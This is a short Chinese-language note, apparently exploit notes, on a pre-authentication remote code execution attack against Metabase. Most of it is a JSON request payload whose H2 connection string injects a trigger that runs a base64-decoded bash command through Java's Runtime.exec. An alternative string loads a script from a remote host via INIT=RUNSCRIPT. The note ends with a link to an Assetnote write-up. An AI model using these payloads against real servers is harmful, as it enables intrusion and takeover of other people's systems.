此方法帮助我避免了与"数据库已在使用中"相关的错误(使用 H2 和 PostgreSQL 作为引擎时)
{
"token": "TOKEN",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"advanced-options":true,
"classname":"org.h2.Driver",
"subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
}}
由于直接从查询中移除了 INIT 脚本,我们没有直接使用 h2 引擎搭配 INIT 脚本,而是继续使用针对 h2 引擎的数据库查询
mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase